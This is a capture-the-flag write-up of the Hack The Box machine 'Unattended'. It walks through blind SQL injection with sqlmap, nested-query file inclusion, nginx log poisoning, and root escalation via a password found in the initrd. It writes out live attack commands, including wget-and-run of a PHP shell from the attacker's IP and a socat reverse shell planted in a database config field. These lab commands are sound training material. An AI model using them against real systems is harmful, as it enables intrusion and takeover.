Summary:
Unattended is a challenging CTF-Like machine created by Hack The Box user @guly. This Linux box is surprisingly more difficult than most medium level boxes and truly tests SQL injection knowledge by forcing users to not entirely rely on automated tools, but to think creatively so they can manually "incept" nested queries to achieve LFI. This ultimately leads to RCE and a shell after log poisoning. With additional enumeration and subtle sysadmin knowledge, we are able to escalate to the root user.
Finding a Foothold
Initial Enumeration:
root@kali:~/htb/# nmap -sV -sC -oA nmap/Unattended 10.10.10.126
Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-22 19:45 AKDT
Nmap scan report for www.nestedflanders.htb (10.10.10.126)
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Did not follow redirect to https://www.nestedflanders.htb
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Apache2 Debian Default Page: It works
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.83 seconds
Nmap indicates a redirect on port 80 to the machine's fully qualified domain name (FQDN). We will add this FQDN to our hosts file so that we can access the page.
Oddly, the server isn't actually an Apache server. By analyzing the response headers of https://www.nestedflanders.htb/index.html, we can determine that this is a web server running nginx/1.10.3.
If we run gobuster or test index.html for other existing default page entities, we find that index.php is a valid page on the machine.
Investigating the various pages indicates that the server was recently attacked in some way and as a result dynamic pages were disabled.
There are some interesting rabbit holes at a glance. The image name is located at ./787c75233b93aa5e45c3f85d130bfbe7.gif. The image name is the md5 hash of the word "smtp" and each page links to a different view with id's 25, 465, and 587 (all smtp ports). What's less of a rabbit hole is that ./787c75233b93aa5e45c3f85d130bfbe7.php is also a valid page.
SQL Injection
Some of the web server's features might tempt us to either fuzz all possible numeric ID's or run gobuster against a modified md5sum dictionary list (this server uses Fail2ban to mitigate the number of requests made); however, we won't yield much information other than knowing there isn't anything to find. What we should investigate is if the "id" parameter is vulnerable to SQL Injection. We can either test basic SQL injection or have sqlmap automate our queries.
sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --batch
Result:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 288 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=465' AND 3833=3833 AND 'WsUF'='WsUF
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=465' AND (SELECT 1903 FROM (SELECT(SLEEP(5)))FLsJ) AND 'Jyjd'='Jyjd
---
[21:14:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.3, PHP
back-end DBMS: MySQL >= 5.0.12
[21:14:20] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nestedflanders.htb'
Unfortunately, both SQL injection methods are blind attacks, so dumping the entire database may take several hours. If we were to use either blind attack, we should focus on dumping only valuable information with as many threads as possible.
Users and Passwords:
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --passwords --batch
...
[21:35:13] [INFO] fetching database users
[21:35:13] [INFO] fetching number of database users
[21:35:13] [INFO] 1
[21:35:13] [INFO] retrieving the length of query output
[21:35:13] [INFO] 28
[21:35:13] [INFO] 'nestedflanders'@'localhost'
...
[21:35:37] [ERROR] unable to retrieve the password hashes for the database users (probably because the DBMS current user has no read privileges over the relevant system database table(s))
Current Database:
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch --current-db
...
[21:38:49] [INFO] fetching current database
[21:38:49] [INFO] retrieving the length of query output
[21:38:49] [INFO] 5
[21:38:49] [INFO] neddy
current database: 'neddy'
...
Tables of Current Database
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy --tables
...
[21:47:51] [INFO] fetching tables for database: 'neddy'
[21:47:51] [INFO] fetching number of tables for database 'neddy'
[21:47:51] [INFO] retrieved: 11
[21:47:56] [INFO] retrieving the length of query output
[21:47:56] [INFO] retrieved: 6
[21:48:07] [INFO] retrieved: config
...
[21:50:13] [INFO] retrieved: products
Database: neddy
[11 tables]
+--------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+--------------+
...
Dumping Tables of Interest
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T config --dump
... // We actually don't need this table until much, much later.
... // It really isn't needed right now.
[22:05:53]] [INFO] fetching columns for table 'config' in database 'neddy'
... // It will take some time to dump.
[22:36:22] [INFO] retrieved: file
Database: neddy
Table: config
[52 entries]
+-----+-------------------------+----------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+----------------------------------------+
| 54 | offline | 0 |
| 55 | offline_message | Site offline, please come back later. |
|... // Again, this data is not very useful to us at the moment. |
| 103 | feed_limit | 10 |
| 104 | lifetime | 1 |
| 105 | session_handler | file |
+-----+-------------------------+----------------------------------------+
...
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T filepath --dump
...
[22:44:53] [INFO] fetching columns for table 'filepath' in database 'neddy'
...
[22:47:34] [INFO] retrieved: main
Database: neddy
Table: filepath
[3 entries]
+---------+--------------------------------------+
| name | path |
+---------+--------------------------------------+
| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |
| contact | 0f710bba8d16303a415266af8bb52fcb.php |
| main | 787c75233b93aa5e45c3f85d130bfbe7.php |
+---------+--------------------------------------+
...
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T idname --dump
...
[22:53:37] [INFO] fetching columns for table 'idname' in database 'neddy'
...
[22:57:17] [INFO] retrieved: contact
Database: neddy
Table: idname
[6 entries]
+-----+-------------+----------+
| id | name | disabled |
+-----+-------------+----------+
| 1 | main.php | 1 |
| 2 | about.php | 1 |
| 3 | contact.php | 1 |
| 25 | main | 0 |
| 465 | about | 0 |
| 587 | contact | 0 |
+-----+-------------+----------+
Given the structure of idname and filepath, we can guess the logic of the page that produces the different views of each page. Each page is most likely the produced result of an inner-join query that takes the id of the page in "idname" and cross-references the id's name to the path in the "filepath" table (Although most likely unintended, if we didn't want to guess this, we could download the source-code of index.php by going to https://www.nestedflanders.htb/dev../html/index.php). If we reconstruct the database and the two tables in a local MySQL server, we can create two queries that demonstrate the pseudo-inner-join query.
From reverse engineering this query, we want to take advantage of the SQL injection and create nested queries that provoke unusual results.
This query will show the contents of the contact page even though the id value is still "465" when sent to the server. To ensure that we do not run into any syntax errors, we should URL encode the SQL injection part of the query we need.
Local File Inclusion
SQL injection works! And because it works, we can take advantage of this SQLi to achieve Local File Inclusion (LFI) and access other files on the host. This article demonstrates the result we would like to achieve with nested SQL injection. We can incept SQL injection into our second query to produce a desirable result like so:
In the browser:
LFI works! With LFI, we can read any world-readable file or any file www-data has read permissions on. We can also write a script that parses the contents of the page:
We can also read nginx access.log at /var/log/nginx/access.log, which means we can easily trigger Remote Code Execution (RCE) if we poison the logs.
We can poison the logs by using either netcat or burp suite (i.e. replacing the user-agent with php code). If we setup a icmp listener and attempt to ping ourselves from the host, we can confirm that we also have RCE:
Our Reverse Shell and Claiming user.txt
Remote Code Execution
We have RCE; however, if we try to create a reverse shell, we quickly realize that egress traffic is being filtered. We can determine our firewall rules by looking at /etc/iptables/rules.v4:
Iptables indicate that all outbound traffic except http and https is being blocked, so any reverse shell we create must be running on port 80 or port 443. We also know the server can run and execute PHP. If we write a script (called shell.php) that creates a persistent shell, we can have the server download and execute it. Run these commands on the server after preparing your environment.
wget 10.10.12.73/shell.php -O /tmp/shell.php
php -f /tmp/shell.php
We can find a more suitable binary creating a reverse shell if we run the following while in Unattended:
# find / \( -name "nc" -o -name "perl" -o -name "socat" -o -name "php*" -o -name "python" -o -name "python3" \) -executable -ls 2>/dev/null | grep -vE "(/usr/share|/etc/|/var/lib)"
21207 372 -rwxr-xr-x 1 root root 378336 Jul 14 2017 /usr/bin/socat
20365 4288 -rwxr-xr-x 1 root root 4389936 Dec 7 2018 /usr/bin/php7.0
12243 1976 -rwxr-xr-x 2 root root 2021960 Nov 29 2018 /usr/bin/perl
949 4 drwxr-xr-x 3 root root 4096 Dec 20 2018 /usr/lib/python3
2456 4 drwxr-xr-x 5 root root 4096 Dec 20 2018 /usr/lib/x86_64-linux-gnu/perl
20221 4 drwxr-xr-x 4 root root 4096 Dec 20 2018 /usr/lib/php
20225 8 -rwxr-xr-x 1 root root 7278 Jan 1 2017 /usr/sbin/phpenmod
20234 0 lrwxrwxrwx 1 root root 8 Jan 1 2017 /usr/sbin/phpdismod -> phpenmod
20226 8 -rwxr-xr-x 1 root root 6411 Jan 1 2017 /usr/sbin/phpquery
Anything in /usr/bin/ is likely to be in our current path. Other than PHP, both perl and socat can provide us reverse shells. Once we have a stable reverse shell, we can grab the database user's credentials ('nestedflanders'@'localhost') from index.php
www-data@unattended:/var/www/html$ head index.php
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;
include "6fb17817efb4131ae4ae1acae0f7fd48.php";
Using these credentials, we can locally authenticate with the mysql server and investigate the config table from earlier as well as our current user's grants.
www-data@unattended:/var/www/html$ mysql -u nestedflanders -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 161
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use neddy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [neddy]> show grants;
+-----------------------------------------------------------------------------------------------------------------------+
| Grants for nestedflanders@localhost |
+-----------------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'nestedflanders'@'localhost' IDENTIFIED BY PASSWORD '*9E1AD37C883F20EE8B5FB34B4B150262F9671A58' |
| GRANT SELECT, INSERT, UPDATE ON `neddy`.* TO 'nestedflanders'@'localhost' |
+-----------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
MariaDB [neddy]> select * from config;
+-----+-------------------------+--------------------------------------------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+--------------------------------------------------------------------------+
| 54 | offline | 0 |
| 55 | offline_message | Site offline, please come back later |
| 56 | display_offline_message | 0 |
| 57 | offline_image | |
| 58 | sitename | NestedFlanders |
| 59 | editor | tinymce |
| 60 | captcha | 0 |
| 61 | list_limit | 20 |
| 62 | access | 1 |
| 63 | debug | 0 |
| 64 | debug_lang | 0 |
| 65 | dbtype | mysqli |
| 66 | host | localhost |
| 67 | live_site | |
| 68 | gzip | 0 |
| 69 | error_reporting | default |
| 70 | ftp_host | 127.0.0.1 |
| 71 | ftp_port | 21 |
| 72 | ftp_user | flanders |
| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |
| 74 | ftp_root | / |
| 75 | ftp_enable | 1 |
| 76 | offset | UTC |
| 77 | mailonline | 1 |
| 78 | mailer | mail |
| 79 | mailfrom | nested@nestedflanders.htb |
| 80 | fromname | Neddy |
| 81 | sendmail | /usr/sbin/sendmail |
| 82 | smtpauth | 0 |
| 83 | smtpuser | |
| 84 | smtppass | |
| 85 | smtppass | |
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
| 87 | smtphost | localhost |
| 88 | smtpsecure | none |
| 89 | smtpport | 25 |
| 90 | caching | 0 |
| 91 | cache_handler | file |
| 92 | cachetime | 15 |
| 93 | MetaDesc | |
| 94 | MetaKeys | |
| 95 | MetaTitle | 1 |
| 96 | MetaAuthor | 1 |
| 97 | MetaVersion | 0 |
| 98 | robots | |
| 99 | sef | 1 |
| 100 | sef_rewrite | 0 |
| 101 | sef_suffix | 0 |
| 102 | unicodeslugs | 0 |
| 103 | feed_limit | 10 |
| 104 | lifetime | 1 |
| 105 | session_handler | file |
+-----+-------------------------+--------------------------------------------------------------------------+
52 rows in set (0.00 sec)
Judging by the database user's permissions to update database, it seems like our next objective is to change some record in the database. Looking at the config table, the "checkrelease" record points to two executable perl scripts in guly's home folder; thus, this is an indication that there is some user on the system who is reading the database with access to guly's home folder. If we change this record to a reverse shell that connects to our local machine, we will sign in as that user:
update config set option_value = "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.12.73:443" where id = '86';
user.txt:9b***************************f14
Privilege Escalation to Root
Reading root.txt
After doing some basic enumeration, we find that the user guly belongs to an unusual group that typically does not exist on a unix machine and has read permissions to the file system's initial ram disk image file.
guly@unattended:~$ whoami
guly
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
guly@unattended:~$ cat /etc/group | grep grub
grub:x:47:guly
guly@unattended:~$ find / -group grub -ls 2>/dev/null
16 19331 -rw-r----- 1 root grub 19715792 Aug 23 05:26 /boot/initrd.img-4.9.0-8-amd64
We can copy the Gzip image to our home directory and extract its contents:
guly@unattended:~$ cp /boot/initrd.img-4.9.0-8-amd64 .../initrd.img.gz
guly@unattended:~$ cd ...
guly@unattended:~/...$ gunzip initrd.img.gz
guly@unattended:~/...$ cpio -i -F initrd.img
121309 blocks
guly@unattended:~/...$ ls -hal
total 60M
drwxr-xr-x 11 guly guly 4.0K Aug 23 21:19 .
drwxr-x--- 3 guly guly 4.0K Aug 23 21:18 ..
drwxr-xr-x 2 guly guly 4.0K Aug 23 21:19 bin
drwxr-xr-x 2 guly guly 4.0K Aug 23 21:19 boot
drwxr-xr-x 3 guly guly 4.0K Aug 23 21:19 conf
drwxr-xr-x 5 guly guly 4.0K Aug 23 21:19 etc
-rwxr-xr-x 1 guly guly 5.9K Aug 23 21:19 init
-rw-r----- 1 guly guly 60M Aug 23 21:18 initrd.img
drwxr-xr-x 8 guly guly 4.0K Aug 23 21:19 lib
drwxr-xr-x 2 guly guly 4.0K Aug 23 21:19 lib64
drwxr-xr-x 2 guly guly 4.0K Aug 23 21:19 run
drwxr-xr-x 2 guly guly 4.0K Aug 23 21:19 sbin
drwxr-xr-x 8 guly guly 4.0K Aug 23 21:19 scripts
Grepping the extracted contents for guly's username yields a modified cryptroot script with a section that generates and pipes the root user's password to cryptopen:
guly@unattended:~/...$ grep -Ri "guly" .
./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one
guly@unattended:~/...$ more +/guly ./scripts/local-top/cryptroot
# guly: we have to deal with lukfs password sync when root changes her one
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
Although we do not have execute permissions on /sbin/uinitrd, we do have a copy of uinitrd created from the extracted contents of the initrd.img from earlier:
guly@unattended:~/...$ ls
bin boot conf etc init initrd.img lib lib64 run sbin scripts
guly@unattended:~/...$ ./sbin/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
guly@unattended:~/...$ su
Password:
root@unattended:/home/guly/...# whoami
root
root@unattended:/home/guly/...# hostname
unattended
root@unattended:/home/guly/...# cat ~/root.txt
55***************************1d3
We have pwned root!
Like some of the other difficult boxes, I personally found it very easy to fall into a rabbit hole during the foothold and lose myself for a few hours enumerating something unessential. As a CTF-like box, I found the nods made to the non-existent smtp, pop3, imap, and ftp services misleading, as I thoroughly investigated any and every reference to these services before and after having a shell. Overall, this was an entertaining box that fully tested one's comprehension in various areas of web exploitation, enumeration, and systems administration.
— Rayce Toms
Student Researcher
Comments
Post a Comment